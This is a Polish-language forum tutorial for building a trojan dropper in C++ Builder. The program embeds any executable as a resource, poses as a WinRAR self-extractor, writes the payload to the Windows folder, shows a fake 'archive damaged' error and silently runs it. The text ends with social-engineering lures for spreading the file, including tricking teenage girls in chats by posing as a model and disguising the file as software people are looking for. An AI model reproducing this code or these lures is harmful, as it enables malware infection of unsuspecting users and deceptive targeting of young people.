Nie odkryłem Ameryki, ale uważam, że ten sposób połączony z socjotechniką na chociażby
podstawowym poziomie może przynieść oczekiwane efekty.
Tworzymy dwa pliki textowe o rozszerzeniach *.RC i *.RH
Nazwa obydwóch musi być identyczna. W przykładzie przyjąłem, że te pliki to app.rh i app.rc
Zawartość pliku *.RC
-----------------------------------
Kod:
#include "app.rh"
<--nazwa pliku *.RH
Kod:
ID_APPL RCDATA "C:\\plik.exe"
<--nazwa programu wraz ze ścieżką do niego
-----------------------------------
Zawartość pliku *.RH
-----------------------------------
Kod:
#ifndef APP_RH
<--Gdzie APP to nazwa tworzonych właśnie plików
Kod:
#define APP_RH
<--Gdzie APP to nazwa tworzonych właśnie plików
Kod:
#define ID_APPL 1000
<--Gdzie ID_APPL to identyfikator zasobu. Liczba pozostaje bez zmian.
Kod:
#endif
-----------------------------------
Otwieramy BCB (testowane na BCB6)
Tworzymy nowy projekt
Ustawiamy wartości Form1 na:
Caption = Winrar Self Extractor
Color = clMaroon
TransparentColor = True
TransparentColorValue = clMaroon (Taki sam kolor jak podany w wartości "Color")
BorderStyle = BsNone
W menu "Project" wybieramy "Add To Project..." i wybieramy wcześniej utworzony plik *.RC
W pliku źródłowym Unit1.cpp
Pod wpisem #include "Unit1.h" dodajemy
-----------------------------------
Kod:
#include <memory>
Kod:
#include "app.rh"
<--nazwa pliku *.RH (Pliki *.RC i *.RH muszą być w tym samym folderze)
-----------------------------------
Tworzymy funkcje wypakowywującą nasz plik:
-----------------------------------------------
Kod:
void __fastcall Extractor(unsigned short ID, AnsiString FileName)
{
HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
if(!rsrc)
{
Application->MessageBox("Archiwum uszkodzone",
"WinRar Self Extractor", MB_OK | MB_ICONSTOP);
return;
}
DWORD Size = SizeofResource(HInstance, rsrc);
HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);
if(MemoryHandle == NULL) return;
BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);
std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
stream->Write(MemPtr, Size);
stream->Position = 0;
TMemoryStream *Ms = new TMemoryStream;
Ms->Position = 0;
Ms->LoadFromStream(stream.get());
Ms->Position = 0;
Ms->SaveToFile(FileName);
Ms->Free();
}
-------------------------------------------------
Funkcje wywołujemy w zdarzeniu Form1 OnActivate
-------------------------------------------------
Kod:
Extractor(ID_APPL, "C:\\Windows\\plik.exe");
<-ID_APPL identyfiktor pliku a ścieżka to miejsce docelowe
Kod:
Application->MessageBox("Archiwum uszkodzone.","Winrar Self Extractor",
MB_OK | MB_ICONHAND );
<-- Fałszywy komunikat o uszkodzeniu archiwum
Kod:
WinExec("C:\\Windows\\plik.exe", SW_SHOW);
<--Urachamia wypakowany plik
Kod:
Close();
<--Wiadomo chyba....
-------------------------------------------------
Project\Options\Packages i odznaczamy "Build with runtime packages"
Przechodzimy do zakładki Linker o odznaczamy "Use dynamic RTL" i "Use debug libraries"
Dopiero kompilujemy itd.
Ok. Doszliśmy do końca projektu (prawie).
Teraz wystarczy zmienić domyślną ikonę programu na ikone Self Extractora z Winrara.
Jeśli jej nie mamy bardzo prosto można ją wyciągnąć programem IrfanView.
Well Done (znowu prawie).
Teraz kilka wariantów na podrzucenie komuś tak spreparowanego pliku:
1. Głupim lolitkom na czatach mówiąc, że to kolekcja ze stu spakowanych zdjęć.
Jak by były wbrew pozorom nie ufne to mówisz, że dodawanie stu załączników jest
trochę uciążliwe i czasochłonne, a masz tyle zdjęć bo jesteś modelem itd..
Na pewno łykną.
2. Czekasz aż ktoś z sieci zapyta Cię o jakiś ważny dla niego program wtedy zmieniasz nazwę pliku na program którego szuka i dajesz mu to czego szukał

3. Udostępniasz w sieci Plik z nazwą np. "9999 Tips & Tricks" lub coś w podobnie na co jest popyt i czekasz.